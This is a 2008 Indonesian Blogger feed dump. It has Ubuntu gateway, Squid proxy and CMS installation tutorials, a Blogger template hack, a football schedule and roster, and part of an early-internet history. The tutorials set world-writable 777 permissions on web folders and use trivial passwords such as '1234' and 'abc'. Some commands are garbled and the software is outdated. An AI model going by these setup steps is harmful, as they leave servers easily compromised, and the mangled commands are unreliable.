href="http://ariya.pandu.org/linux/feature/pdc/pdc.htm">http://ariya.pandu.org/linux/feature/pdc/pdc.htm</a></span><br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-7452591773697913782008-10-22T04:07:00.000-07:002008-10-27T22:34:19.522-07:00KONFIGURASI UBUNTU SERVER SEBAGAI GATEWAYPada tutorial ini kita akan memulai konfigurasi ubuntu server yang telah terinstall<br />dalam mesin anda sebagai gateway untuk internet dan dipadukan dengan squid<br />sebagai transparasi proxy.<br /><span class="fullpost"><br />1. Dimisalkan ubuntu server telah terinstall dalam mesin anda. Kemudian<br />silahkan login dengan user yang telah dibuat dalam proses penginstallan.<br /><br />2. Setelah anda login dengan user yang dibuat, kita akan membuat password<br />untuk user “root” atau administrator dengan mengetik perintah “sudo passwd<br />root”, kemudian masukkan password untuk user yang kita buat tadi.<br />Kemudian baru masukkan password untuk user root dari mesin anda<br />Tim ICT Center Kabupaten Batang Tahun 2008<br /><br />3. Jika password yang anda masukkan sama maka anda telah berhasil mengganti<br />password root. Komentar jika password anda tepat adalah “password<br />updated successfully”<br /><br />4. Untuk mengecek apakah anda telah dapat login dengan user root ketik “exit”<br />kemudian login lagi dengan user root dan masukkan password root yang telah<br />dibuat.<br />Tampilan jika telah berhasil login dengan user root.<br /><br />5. Tahap selanjutnya adalah konfigurasi kartu jaringan ubuntu server yang akan<br />digunakan sebagai router gateway. Sebelumnnya edit file konfigurasi jaringan<br />dengan nama interfaces yang terdapat di dalam folder /etc/network.<br />Perintah : cd /etc/network<br />vim interfaces<br /><br />6. Kemudian tambahkan konfigurasi ip untuk jaringan di ethernet yang ke lan<br />atau eth1. Dalam kasus ini sesuai dengan desain jaringan sebelumnya ethernet<br />yang ke LAN dengan “IP 192.168.20.1” dan ethernet yang ke INTERNET<br />atau eth0 dengan “IP 172.19.99.21” dan default “gateway<br />172.19.99.254” Untuk mulai mengedit file interfaces tekan tombol “I”<br />pada keyboard sehingga status berubah menjadi “INSERT” setelah<br />selesai menambahkan konfigurasi tekan tombol “ESC”. Untuk<br />menyimpan konfigurasi dan keluar dari ketik “:wq”.<br /><br />7. Kemudian untuk menerapkan konfigurasi diatas kita restart konfigurasi<br />jaringan dengan menggunakan perintah : /etc/init.d/networking restart<br /><br />8. Cek perubahan konfigurasi IP dengan perintah : “ifconfig”.<br /><br />9. Setelah itu tambahkan baris “net.ipv4.ip_forward = 1” di dalam file<br />sysctl.conf baris terbawah yang terdapat dalam folder /etc/, dengan perintah<br />“ vim /etc/sysctl.conf ”. Sehingga isi file konfigurasinya menjadi :<br /><br />10. Setelah itu restart kembali konfigurasi jaringan dan coba ping ke alamat<br />www.google.co.id<br /><br />11. Setelah mesin ubuntu dapat terkoneksi dengan internet ketik perintah : apt-get<br />update untuk mengupdate database repository yang diperlukan untuk instalasi<br />software.<br /><br />12. Setelah proses update, sekarang kita install software squid yang diperlukan<br />untuk web-chace dan transparasi proxy dengan mengetik perintah : apt-get<br />install squid.<br /><br />13. Jika proses instalasi squid telah berhasil lanjutkan dengan menambahkan<br />perintah iptablesnya melalui perintah :<br />iptables –t nat –A PREROUTING –i eth1 –p tcp –dport 80 –j DNAT<br />–to-destination 192.168.20.1:8080<br />iptables –t nat –A POSTROUTING –s 192.168.20.0/255.255.255.0 –j<br />MASQUERADE<br />Maksud dari perintah pertama diatas adalah untuk mengalihkan seluruh paket<br />yang menuju ke ethernet 1 dengan alamat port 80 untuk dialihkan ke port<br />8080 yang akan menjadi port service dari squid sehingga setiap paket dapat<br />di monitoring. Sedangkan perintah kedua digunakan untuk<br />“memasking” jaringan LAN yang terdapat dibawah router agar hanya<br />ip publik router ubuntu saja yang dikenal di internet.<br /><br />14. Kemudian Simpan Konfigurasi iptables dengan mengetik perintah : iptablessave<br />> /etc/network/iptables<br /><br />15. Agar konfigurasi selalu dapat berjalan saat mesin ubuntu server dihidupkan<br />ulang atau booting tambahkan baris berikut :<br />“iptables-restore /etc/network/iptables” di dalam file rc.local yang<br />terdapat pada folder /etc/init.d/<br /><br />16. Kemudian restart service dengan menggunakan perintah<br />“/etc/init.d/rc.local start”.<br /><br />17. Langkah selanjutnya adalah konfigurasi squid. Caranya adalah dengan<br />berpindah ke dalam folder /etc/squid dengan menggunakan perintah<br />“cd /etc/squid”, kemudian edit file squid.conf dan sesuaikan<br />konfigurasinya menjadi seperti dibawah ini :<br />http_port 8080 transparent<br />acl QUERY urlpath_regex cgi-bin \?<br />#redirect_program /usr/bin/adzapper.wrapper<br />ipcache_size 2056<br />ipcache_low 90<br />ipcache_high 95<br />cache_mem 95 MB<br />maximum_object_size 10096 KB<br />maximum_object_size_in_memory 8 KB<br />cache_access_log /var/log/squid/access.log<br />cache_dir ufs /var/spool/squid 900 16 256<br />cache_log /var/log/squid/cache.log<br />cache_store_log /var/log/squid/store.log<br />#Recommended minimum configuration:<br />acl all src 0.0.0.0/0.0.0.0<br />acl manager proto cache_object<br />acl localhost src 127.0.0.1/255.255.255.255<br />acl to_localhost dst 127.0.0.0/8<br />acl SSL_ports port 443 # https<br />acl SSL_ports port 563 # snews<br />acl SSL_ports port 873 # rsync<br />acl Safe_ports port 80 # http<br />acl Safe_ports port 21 # ftp<br />acl Safe_ports port 443 # https<br />acl Safe_ports port 70 # gopher<br />acl Safe_ports port 210 # wais<br />acl Safe_ports port 1025-65535 # unregistered ports<br />acl Safe_ports port 280 # http-mgmt<br />acl Safe_ports port 488 # gss-http<br />acl Safe_ports port 591 # filemaker<br />acl Safe_ports port 777 # multiling http<br />acl Safe_ports port 631 # cups<br />acl Safe_ports port 873 # rsync<br />acl Safe_ports port 901 # SWAT<br />acl purge method PURGE<br />acl CONNECT method CONNECT<br />#Recommended minimum configuration:<br />Tim ICT Center Kabupaten Batang Tahun 2008<br /># Only allow cachemgr access from localhost<br />http_access allow manager localhost<br />http_access deny manager<br />http_access deny !Safe_ports<br />http_access deny CONNECT !SSL_ports<br />#http_access deny to_localhost<br />#================konfigurasi client ================<br />acl bahaya url_regex "/etc/squid/blokir.txt"<br />http_access deny bahaya<br />acl client src 192.168.20.0/24<br />http_access allow client<br />#httpd_accel_port 80<br />#httpd_accel_host virtual<br />#httpd_accel_single_host off<br />#httpd_accel_with_proxy on<br />#httpd_accel_uses_host_header on<br />http_access allow localhost<br />http_reply_access allow all<br />visible_hostname server-smk1.or.id<br />cache_mgr admin@smk1batang.or.id<br />forwarded_for on<br />ie_refresh on<br /><br />18. Kemudian buat sebuah file didalam folder /etc/squid dengan nama blokir.txt.<br /><br />19. Setelah mengedit file squid.conf simpan konfigurasi dan restart service squid<br />dengan mengetik perintah : /etc/init.d/squid restart.<br /><br />20. Setelah semua konfigurasi selesai, setting ip di client dengan menggunakan<br />gateway dari ip lan ubuntu server, dimana ipnya adalah 192.168.20.1<br />kemudian lakukan tes ping ke alamat www.google.co.id<br /><br />21. Jika berhasil silahkan coba browsing dari client, jika konfigurasi anda benar<br />akan terbuka alamat yang anda tuju.<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-82394758485651896732008-10-22T04:03:00.000-07:002008-10-27T22:36:21.513-07:00Menginstall WordPress di Ubuntu 7.04WordPress adalah sebuah blog engine yang powerful dan cukup terkenal saat ini. Kode sumber wordpress juga tersedia untuk publik karena blog engine yang satu ini memang berbasis open source. Jika ingin mendapatkan sebuah account dan hosting gratis silakan mendaftar di wordpress.org, setelah menjadi anggota Anda akan memperoleh sebuah alamat dengan format nama-anda.wordpress.org.<br /><span class="fullpost"><br />Selain itu wordpress juga dapat diinstall di komputer lokal, tulisan saya kali ini akan membahas tentang instalasi wordpress di Ubuntu 7.04, namun tidak menutup kemungkinan dapat diterapkan di distro lainnya. Untuk dapat melakukan instalasi setidaknya Anda sudah mempunyai DVD repo Ubuntu 7.04 (semuanya berjumlah 4) atau koneksi internet yang memadai untuk mendownload paket-paket yang dibutuhkan dari salah satu mirror repo Ubuntu. Sebelum menginstall wordpress pastikan apache, php5, dan mysql sudah terinstall dan berjalan dengan baik (lihat tulisan saya sebelumnya).<br /><br />Untuk melakukan instalasi ketikkan perintah berikut dari terminal<br /><br /> sudo apt-get install wordpress<br /><br />Setelah itu kopikan file setup-mysql dari /usr/share/doc/wordpress/example/ ke /etc/wordpress, lalu jalankan script tersebut<br /><br /> <br /><br /> cd /etc/wordpress<br /> sudo cp /usr/share/doc/wordpress/example/setup-mysql \ setup-mysql<br /> sudo bash setup-mysql -n nama_user host_name<br /><br />nama_user adalah user name yang akan digunakan untuk mengakses database mysql, sekaligus juga menjadi nama database yang akan digunakan, sedangkan host_name adalah nama komputer tempat wordpress akan diinstall (biasanya localhost untuk komputer standalone).<br /><br />Sampai ditahap ini instalasi wordpress sudah hampir selesai. Langkah berikutnya buka sebuah web browser dan ketikkan localhost/localhost. Ikuti langkah-langkahnya sampai selesai (jangan lupa untuk membaca setiap petunjuknya dengan baik). Di tahap akhir silakan log in dengan user name admin dan pasword yang diberikan saat proses instalasi (ditampilkan dihalaman terakhir sebelum halaman log in). Setelah log in semua hal yang bisa dilakukan di wordpress.org seperti posting, menambah link, mengganti password dll sudah dapat dilakukan di localhost. Happy blogging!<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-47155404152887475482008-10-22T03:09:00.000-07:002008-10-27T22:44:39.396-07:00step by step instalasi joomla 1.5.2 di ubuntu 7.10 / edubuntu 7.10berikut adalah step by step instalasi joomla 1.5.2 di ubuntu 7.10 / edubuntu 7.10<br /><br />instalasi LAMP<br /><br />system > administration > sypnatic package manajer > edit > mark packages by task... > tandai LAMP server > ok > apply<br /><br />berhasil install LAMP<br /><span class="fullpost"><br />masuk ke terminal<br /><br />ubuntu@ubuntu:~$ su (masuk sebagai root)<br /><br />Password:<br /><br />root@ubuntu:/home/ubuntu# cd /var/www<br /><br />root@ubuntu:/var/www# mkdir backtrack<br /><br />root@ubuntu:/home/ubuntu/Desktop# tar -xzvf Joomla_1.5.2-Stable-Full_Package.tar.gz -C /var/www/backtrack (file download joomla 1.5.2 saya taruh di /Desktop)<br /><br />root@ubuntu:/var/www# chmod 777 -R backtrack (untuk memberi hak akses)<br /><br /><br />buka browser (MFF): http://localhost/backtrack/installation/index.php<br /><br /><br />installation joomla<br /><br />1 : Language<br /><br />2 : Pre-installation Check<br /><br />3 : License<br /><br />4 : Database<br /><br />5 : FTP Configuration<br /><br />6 : Configuration<br /><br />7 : Finish<br /><br /><br />di terminal<br /><br />root@ubuntu:/var/www# cd backtrack<br /><br />root@ubuntu:/var/www/backtrack# rm -r installation/<br /><br /><br />selamat mencoba, KKS (Koreksi Kalau Salah) = CMIIW<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-6883743227138275912008-10-21T20:12:00.000-07:002008-10-27T22:45:24.575-07:00Instalasi Aura CMS di UbuntuInstalasi AuraCMS<br /><br />Langkah-langkah instalasi:<br /><span class="fullpost"><br />1. Extract file ZIP yang di download ke folder / directory yang baru<br />2. Edit file config.php,<br />ganti parameter yang ada dengan parameter Anda punya seperti :<br />host, database, username, password untuk MySQL server<br />3. Set up table dan data di MySQL database Anda<br />Dump auracms15.sql dengan PHPMyAdmin atau MySQLFront<br />4. Untuk mengganti tampilan situs, edit default theme yang di set di<br />config.php, pada themes/… directory/folder<br />buka header.php & footer.php, lakukan perubahan seperlunya<br /><br /><br />5. Upload file ke webhosting.<br />set file permission seperti berikut :<br />chmod 755 untuk file-file *.php<br />chmod 777 untuk folder /images<br />chmod 777 untuk folder /files<br />chmod 777 to file /mod/online.db.txt<br />chmod 777 to file /mod/counter.txt<br />chmod 777 to file /mod/month.txt<br />chmod 777 to file /mod/today.txt<br />6. Selesai !<br /><br />Sekarang Anda bisa mengakses situs Anda di http://www.yourdomain.com/<br /><br />UntuK diingat :<br /><br />Layar admin bisa diakses dari http://www.yourdomain.com/admin/<br />ATAU<br />http://www.yourdomain.com/?pilih=admin<br /><br />Untuk login pertama gunakan :<br />username => admin<br />password => abc<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-17084104868179985972008-10-21T18:15:00.000-07:002008-10-27T22:47:24.612-07:00Membuat “Read More…” atau “Baca Selengkapnya..” di Blogger Baru* Login ke blogger.com, pilih blog yang pengen kamu edit, klik link Layout kemudian masuk ke Edit HTML<br /> * Untuk bisa ngedit template secara keseluruhan, kamu harus centang/tandai/aktifkan Expand Widget Templates<br /> * Masukkan kode berikut sebelum tag atau tepat sesudah kode } ]]> seperti ini:<br /><br /> <style><br /> <b:if cond="'data:blog.pageType"> <br /> span.fullpost {display:inline;}<br /> <b:else/><br /> span.fullpost {display:none;} <br /> </b:if><br /> </style><br /><br /> * Selanjutnya mengatur supaya postingan terpotong, cari kode <p><data:post.body></data:post.body></p> dalam template kamu dan tambahkan kode berikut tepat dibawahnya:<br /><br /> <b:if cond="data:blog.pageType != "item""><br /> <a href="data:post.url"> Read More..</a><br /> </b:if><br /><br /> * Nah supaya terpotong, setiap kali kamu posting, klik pada bagian posting dimana kamu pengen tulisan Read More.. muncul, dan ketik <span class="fullpost"> sisa postingan sampai selesai </span>. Untuk menmbahkan kode ini, ketika posting kamu harus dalam mode Edit HTML bukan Compose<br /><br /> Contoh penulisan posting:<br /><br /> Ini adalah awal berita yang ingin saya potong karena terlalu panjang kalo postingan muncul semua, oleh karena itu saya perlu memotong berita sampai disini saja. <span class="fullpost"> Dan ini adalah sisa postingan saya yang akan saya sembunyikan dan hanya muncul pada saat post page atau link read more.. diklik </span><br /><br /> Hasil akhir postingan akan seperti ini:<br /><br /> Ini adalah awal berita yang ingin saya potong karena terlalu panjang kalo postingan muncul semua, oleh karena itu saya perlu memotong berita sampai disini saja.Read more..<br /><br /> Selamat Mencoba!Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-85803128336951090542008-10-21T17:24:00.000-07:002008-10-27T22:48:33.489-07:00Mengelola Website dengan CMSContent Management system (CMS) adalah kumpulan halaman web yang berfungsi sebagai ruang kerja bagi sysadmin untuk memanajemen,mengendalikan dan mengolah isi sebuah situs.Dengan CMS ini anda lebih mudah mengupdate website anda tanpa harus merombak ulang situs anda.Di Internet banyak sekali CMS opensource yang bisa anda download secara gratis.Contohnya adalah php-Nuke,mambo portal,endonesia,auraCMS dan lain-lain (dua nama terakhir adalah karya anak Indonesia).Yang paling banyak digunakan adalah php-Nuke,dan dari php-Nuke inilah banyak melahirkan CMS-CMS baru.Dan penulis menyarankan untuk menggunakan php-Nuke atau AuraCMS.Karna dua cms ini lebih mudah dikelola.<br /><span class="fullpost"><br /><br />Berikut saya mencoba untuk memberikan tutorial salah satu cms ,yaitu auraCMS.Dalam hal ini saya hanya akan menjelaskan bagaimana caranya menginstall di server anda sendiri,artinya website anda belum ONLINE.Karna dengan menginstall di server anda sendiri anda lebih mudah untuk mempelajari CMS ini tanpa harus mengeluaran biaya Internet.Dan saya rasa jika anda sudah bisa melakukannya di server anda sendiri,anda juga bisa menginstallnya di hosting Internet milik anda.<br /><br />Yang pertama anda lakukan adalah menjadikan PC Dekstop anda menjadi server lokal :<br />1. Download Apache dan MySQL!Untuk lebih mudahnya download saja PHPTriad di sini<br />2. Lalu Install PHPTriad<br />3. Aktifkan Apache server ,Start->All Programs->PHPTriad->Apache Console->Start Apache<br />4. Aktifan MySQL Start->All Programs->PHPTriad->MySQL->MySQL-D<br /><br />Langkah-langkah menginstall AuraCMS<br />1. Download auracms versi terakhir auracms162 di sini<br />2. Ekstrak file auracms162.zip ke folder C:\apache\htdocs\auracms162<br /><br />Membuat database baru<br />1. Buka Browser Internet Ekplorer (IE).<br />2. Buka address http://localhost/phpmyadmin/<br />3. Create new database dengan nama terserah anda,contoh : auracms<br />4. Upload file auracms162.sql dengan mengklik tombol "Browse"<br />5. Dump file tersebut dengan mengklik tombol "Go"<br /><br />Jika berhasil,anda akan melihat pesan "Your SQL-query has been executed successfully" dan tampilan Database yang baru anda buat.<br /><br />Konfigurasi auraCMS<br />1. Buka file config.php di folder C:\apache\htdocs\auracms162<br />2. Ganti data sebagai berikut:<br /><br />$mysql_user="root"; <-- Ganti "root" dengan "username" yg diberikan oleh hosting Internet anda.<br />$mysql_password=""; <-- Isi passwordnya dengan password hosting internet mililk anda.<br />$mysql_database="auracms162"; <--- Ganti "auracms162" sesuai dengan nama database yang baru anda buat "auracms"<br /><br />Keterangan :<br />Untuk data $mysql_user dan $mysql_password harus anda ganti jika anda sudah Online.Karna di sini anda hanya melakukannya di server anda sendiri,maka $mysql_user dan $mysql_password jangan anda ganti! Biarkan saja seperti itu.Username dan password akan diberikan oleh admin hosting Internet anda.Untuk data selebihnya,bisa anda pahami sendiri.<br /><br />Mengelola auraCMS<br />1. Buka address http://localhost/auracms161 - di browser Internet anda.<br />2. Klik "ControlPanel" pada menu.<br />3. Login<br /><br />- Username : admin<br />- Password : abc<br />- Klik login<br /><br />Selanjutnya silahkan anda pelajari sendiri! Anda bisa memodifikasi tampilan website anda dengan menggunakan tag HTML di folder C:\apache\htdocs\auracms162\themes\ .<br /><br />NB :<br />Untuk CMS-CMS lain anda bisa melakukan hal yang sama,hanya perbedaan sedikit ada pada mambo portal.Karna mambo portal menggunakan cara install yang otomatis dan lebih mudah,tapi control panelnya itu yang sulit.<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-7818015304789320142008-10-21T06:40:00.000-07:002008-10-21T19:58:01.122-07:00Jadwal Pertandingan Kompetisi Divisi Utama (PERSIBAT)1 RABU 6 AGUSTUS 2008 PERSIKABO (Bogor) - PERSIBAT<br />2 MINGGU 10 AGUSTUS 2008 PERSIKAB (Bandung) - PERSIBAT<br />3 SABTU 23 AGUSTUS 2008 PERSIKOTA (Tangerang) - PERSIBAT<br />4 KAMIS 28 AGUSTUS 2008 PERSIKAD (Depok) - PERSIBAT<br /><span class="fullpost"><br />LIBUR PANJANG ( 30 Agustus s.d 6 Oktober 2008 )<br /><br />5 SELASA 7 OKTOBER 2008 PERSIBAT - PSSB (Biren Aceh)<br />6 JUM'AT 10 OKTOBER 2008 PERSIBAT - PSDS (Deli Serdang)<br />7 SELASA 14 OKTOBER 2008 PSPS (Pekan Baru Riau) - PERSIBAT<br />8 SABTU 18 OKTOBER 2008 PERSIH (Tembilahan Sumut) - PERSIBAT<br />9 KAMIS 23 OKTOBER 2008 PERSIBAT - PSP (Padang)<br />10 SENIN 27 OKTOBER 2008 PERSIBAT - SEMEN PADANG (Padang)<br />11 MINGGU 9 NOVEMBER 2008 PERSISAM (Samarinda) - PERSIBAT<br />12 KAMIS 13 NOVEMBER 2008 MITRA KUKAR (Kutai Kartanegara) - PERSIBAT<br />13 SENIN 17 NOVEMBER 2008 PERSIBAT - PERSIRAJA (Banda Aceh)<br />14 JUM'AT 21 NOVEMBER 2008 PERSIBAT - PSAP (Sigli Aceh)<br /><br />BABAK KEDUA<br /><br /><br />15 MINGGU 7 DESEMBER 2008 PSAP (Sigli Aceh) - PERSIBAT<br />16 KAMIS 11 DESEMBER 2008 PERSIRAJA (Banda Aceh) - PERSIBAT<br />17 SELASA 16 DESEMBER 2008 PERSIBAT - MITRA KUKAR (Kutai Kartanegara)<br />18 SABTU 20 DESEMBER 2008 PERSIBAT - PERSISAM (Samarinda)<br />19 MINGGU 4 JANUARI 2009 SEMEN PADANG (Padang) - PERSIBAT<br />20 KAMIS 8 JANUARI 2009 PSP (Padang) - PERSIBAT<br />21 SENIN 12 JANUARI 2009 PERSIBAT - PERSIH (Tembilahan Sumut)<br />22 JUM'AT 16 JANUARI 2009 PERSIBAT - PSPS (Pekan Baru Riau)<br />23 SELASA 20 JANUARI 2009 PSDS (Deli Serdang) - PERSIBAT<br />24 SABTU 24 JANUARI 2009 PSSB (Biren Aceh) - PERSIBAT<br />25 KAMIS 29 JANUARI 2009 PERSIBAT - PERSIKAD (Depok)<br />26 MINGGU 1 FEBRUARI 2009 PERSIBAT - PERSIKOTA (Tangerang)<br />27 SABTU 14 FEBRUARI 2009 PERSIBAT - PERSIKAB (Bandung)<br />28 SABTU 21 FEBRUARI 2009 PERSIBAT - PERSIKABO (Bogor)<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-88117086524564363052008-10-21T06:39:00.001-07:002008-10-21T19:59:33.997-07:00pemain PERSIBAT 2008Pelatih : JESSIE MUSTAMU, SE<br />Asisten Pelatih :<br />1. Cahyono<br />2. M. Busro<br />3. Rustriarso<br /><span class="fullpost"><br />No Nama TB / BB Posisi Asal Club<br />1 Handoyo 178 Cm / 71 Kg P. Gawang Persih - Tembilahan<br />2 Arief Firmansyah 176 Cm / 70 Kg P. Gawang Persikapan - Banjar Baru<br />3 M. Busro 170 Cm / 75 Kg P. Gawang Persibat<br />4 Sugianto 168 Cm / 60 Kg Libero Persibat<br />5 Liswanto 183 Cm / 73 Kg Stoper PS. TNI AU<br />6 M. Abduh Yuliandi 175 Cm / 67 Kg Stoper PS. Palembang<br />7 Nanang Samudra 170 Cm / 57 Kg Stoper PS. Palembang<br />8 M. Syarif 170 Cm / 57 Kg Libero Persekaba Yakuhino<br />9 Ibrahim 167 Cm / 56 Kg Wing Back Kanan Persiraja - Banda Aceh<br />10 Firman Basuki 178 Cm / 70 Kg Wing Back Kiri Persis - Solo<br />11 Abdul Kadir 170 Cm / 57 Kg Gelandang Bertahan PSLS - Lhoksemawe<br />12 Puji Slamet 170 Cm / 50 Kg Gelandang Bertahan PSBL<br />13 M. Jaiz Lestahulu 169 Cm / 58 Kg Gelandang Serang Perseman - Manokwari<br />14 Heru Purwono 168 Cm / 53 Kg Gelandang Serang Persibat<br />15 Murwanto 169 Cm / 61 Kg Gelandang Serang Persingat - Rengat<br />16 Andri Setiawan 168 Cm / 62 Kg Striker Persebi - Boyolali<br />17 Doni Setya Budi 178 Cm / 73 Kg Striker Arema - Malang<br />18 M. Nasrin 170 Cm / 57 Kg Striker Persibo - Bojonegoro<br />19 Abdul Kodir 167 Cm / 60 Kg Wing Back Kanan Persibat<br />20 Suari 172 Cm / 60 Kg Striker Persibat<br />21 Budianto 170 Cm / 60 Kg Stoper Persepar<br />22 Sandi Pribadi 178 Cm / 73 Kg Stoper Persib<br />23 M. Ridwan Mansamber 165 Cm / 59 Kg Wing Back Kiri Persela<br />24 Indra Gunawan 170 Cm / 65 Kg Gelandang Serang Persiba - Bantul<br />25 Syamsuddin A Hamid 175 Cm / 67 Kg Striker PSMP<br />26 Yance Manusiwa 175 Cm / 60 Kg Gelandang Serang Persipro<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-72671640418313397822008-10-21T06:23:00.000-07:002008-10-27T22:49:44.386-07:00Instalasi Ubuntu untuk Routerlangkah-langkahnya adalah sebagai berikut :<br /><span class="fullpost"><br />1.Kabel jaringan harus dilepas agar tidak terkoneksi<br />2.Masuk ubuntu->pilih instal<br />3.Pilih bahasa yaitu Inggris dan countre united states<br />4.Pilih keyboard->U.S English<br />5.Proses scanning CD Room<br />6.Configurare the net work->etho (sebagai sumber internet)<br />7.Proses DHCP<br />8.Configure network manually<br />9.Masukkan IP = 192.168.20.200->continue<br />10.net mask = 255.255.255.0->continue<br />11.gateway = 192.168.20.1->continue<br />12.DNS Server = 192.168.20.1->continue<br />13.Hostname = routertkj->continue<br />14.Partisi hardisk (sudah terinstal ubuntu)->manual->enter<br /> kalau belum ada instalan ubuntu->guided->resize<br />15.Partisi punya windows bertanda ntfs (jangan diubah)<br /> Pilih ext3 untuk linux->enter->pilih delete the partision->enter<br />16.Klik free spaces yang sudah dipartision->enter->pilih create a new<br /> Partision->ukuran partisi yang digunakan->continue<br />17.Pilih type primary->enter<br />18.Aktifkan :<br />use as = ext3 journaling file system<br />format the partision = enter pilih yes, format it<br />mount point = enter pilih /- the root file system<br />mount options = defauits<br />label = none<br />reserved bloks = 5%<br />typical urage = standard<br />bootable flag = on<br />19.Pilih done setting up the partision<br />20.Finish partitioning and write changes to dist->yes<br />21.Select your time zone = eastern<br />22.Full name for the new user = administrator server->continue<br />23.Username for your account = adminserver (untuk login)->continue<br />24.Password = 1234->continue<br />25.Password lagi = 1234->continue<br />26.Proses instalasi<br />27.HTTP proxy information = dikosongi->continue<br />28.Choose software to install<br /> Pilih = DNS server, LAMP server, open SSH server, samba file server->continue<br />29.Proses instalasi<br /> New password for the mySql root = 1234->continue<br />30.Install the GRUB... = yes<br />31.Installation complate->continue<br />32.CD dikeluarkan<br /></span>Wahyoe TKJhttp://www.blogger.com/profile/13798186938608644628noreply@blogger.com0tag:blogger.com,1999:blog-3898445254899960720.post-53826586104185739512008-10-21T05:05:00.001-07:002008-10-21T20:04:22.111-07:00Awal Internet IndonesiaAwal Internet Indonesia<br /><br />RMS Ibrahim, Suryono Adisoemarta, Muhammad Ihsan, Robby Soebiakto, Putu, Firman Siregar, Adi Indrayanto, dan Onno W. Purbo merupakan beberapa nama-nama legendaris di awal pembangunan Internet Indonesia di tahun 1992 hingga 1994. Masing-masing personal telah mengkontribusikan keahlian dan dedikasinya dalam membangun cuplikan-cuplikan sejarah jaringan komputer di Indonesia.<br /><span class="fullpost"><br />Tulisan-tulisan tentang keberadaan jaringan Internet di Indonesia dapat dilihat di beberapa artikel di media cetak seperti KOMPAS berjudul "Jaringan komputer biaya murah menggunakan radio" di akhir tahun 1990 dan awal tahun 1991. Juga beberapa artikel pendek di Majalah Elektron Himpunan Mahasiswa Elektro ITB di tahun 1989.<br />Inspirasi tulisan-tulisan awal Internet Indonesia datangnya dari kegiatan di amatir radio khususnya di Amateur Radio Club (ARC) ITB di tahun 1986. Bermodal pesawat Transceiver HF SSB Kenwood TS430 milik Harya Sudirapratama (YC1HCE) dengan komputer Apple II milik Onno W. Purbo (YC1DAV) sekitar belasan anak muda ITB seperti Harya Sudirapratama (YC1HCE), J. Tjandra Pramudito (YB3NR), Suryono Adisoemarta (N5SNN) bersama Onno W. Purbo, berguru pada para senior radio amatir seperti Robby Soebiakto (YB1BG), Achmad Zaini (YB1HR), Yos (YB2SV), di band 40m. Robby Soebiakto merupakan pakar diantara para amatir radio di Indonesia khususnya untuk komunikasi data packet radio yang kemudian didorong ke arah TCP/IP, teknologi packet radio TCP/IP yang kemudian diadopsi oleh rekan-rekan BPPT, LAPAN, UI, dan ITB yang kemudian menjadi tumpuan PaguyubanNet di tahun 1992-1994. Robby Soebiakto menjadi koordinator IP pertama dari AMPR-net (Amatir Packet Radio Network) yang di Internet dikenal dengan domain AMPR.ORG dan IP 44.132. Sejak tahun 2000, AMPR-net Indonesia di koordinir oleh Onno W. Purbo (YC0MLC). Koordinasi dan aktivitasnya mengharuskan seseorang untuk menjadi anggota ORARI dan di koordinasi melalui mailing list ORARI, seperti, orari-news@yahoogroups.com.<br />Di tahun 1986-1987 yang merupakan awal perkembangan jaringan paket radio di Indonesia, Robby Soebiakto merupakan pionir di kalangan pelaku radio amatir Indonesia yang mengaitkan jaringan amatir Bulletin Board System (BBS) yang merupakan jaringan e-mail store and forward yang mengkaitkan banyak "server" BBS amatir radio seluruh dunia agar e-mail dapat berjalan dengan lancar. Di awal tahun 1990, komunikasi antara Onno W. Purbo yang waktu itu berada di Kanada dengan panggilan YC1DAV/VE3 dengan rekan-rekan radio amatir di Indonesia dilakukan melalui jaringan amatir radio ini. Dengan peralatan PC/XT dan walkie talkie 2 meteran, komunikasi antara Indonesia-Kanada terus dilakukan dengan lancar melalui jaringan radio amatir. Robby Soebiakto berhasil membangun gateway amatir satelit di rumahnya di Cinere melalui satelit-satelit OSCAR milik radio amatir kemudian melakukan komunikasi lebih lanjut yang lebih cepat antara Indonesia-Kanada. Pengetahuan secara perlahan ditransfer dan berkembang melalui jaringan radio amatir ini.<br />RMS Ibrahim (biasa dipanggil Ibam) merupakan motor dibalik operasional Internet di UI. RMS Ibrahim pernah menjadi operator yang menjalankan gateway ke Internet dari UI yang merupakan bagian dari jaringan universitas di Indonesia UNINET. Protokol UUCP yang lebih sederhana daripada TCP/IP digunakan terutama digunakan untuk mentransfer e-mail & newsgroup. RMS Ibrahim juga merupakan pemegang pertama Country Code Top Level Domain (ccTLD) yang dikemudian hari dikenal sebagai IDNIC [1].<br />Muhammad Ihsan adalah staff peneliti di LAPAN Ranca Bungur tidak jauh dari Bogor yang di awal tahun 1990-an di dukung oleh pimpinannya Ibu Adrianti dalam kerjasama dengan DLR (NASA-nya Jerman) mencoba mengembangkan jaringan komputer menggunakan teknologi packet radio pada band 70cm & 2m. Jaringan tersebut dikenal sebagai JASIPAKTA dengan dukungan DLR Jerman. Protokol TCP/IP di operasikan di atas protokol AX.25 pada infrastruktur packet radio. Muhammad Ihsan mengoperasikan relay penghubung antara ITB di Bandung dengan gateway Internet yang ada di BPPT di tahun 1993-1998.<br />Firman Siregar merupakan salah seorang motor di BPPT yang mengoperasikan gateway radio paket bekerja pada band 70cm di tahun 1993-1998-an. PC 386 sederhana menjalankan program NOS di atas sistem operasi DOS digunakan sebagai gateway packet radio TCP/IP. IPTEKNET masih berada di tahapan sangat awal perkembangannya saluran komunikasi ke internet masih menggunakan protokol X.25 melalui jaringan Sistem Komunikasi Data Paket (SKDP) terkait pada gateway di DLR Jerman.<br 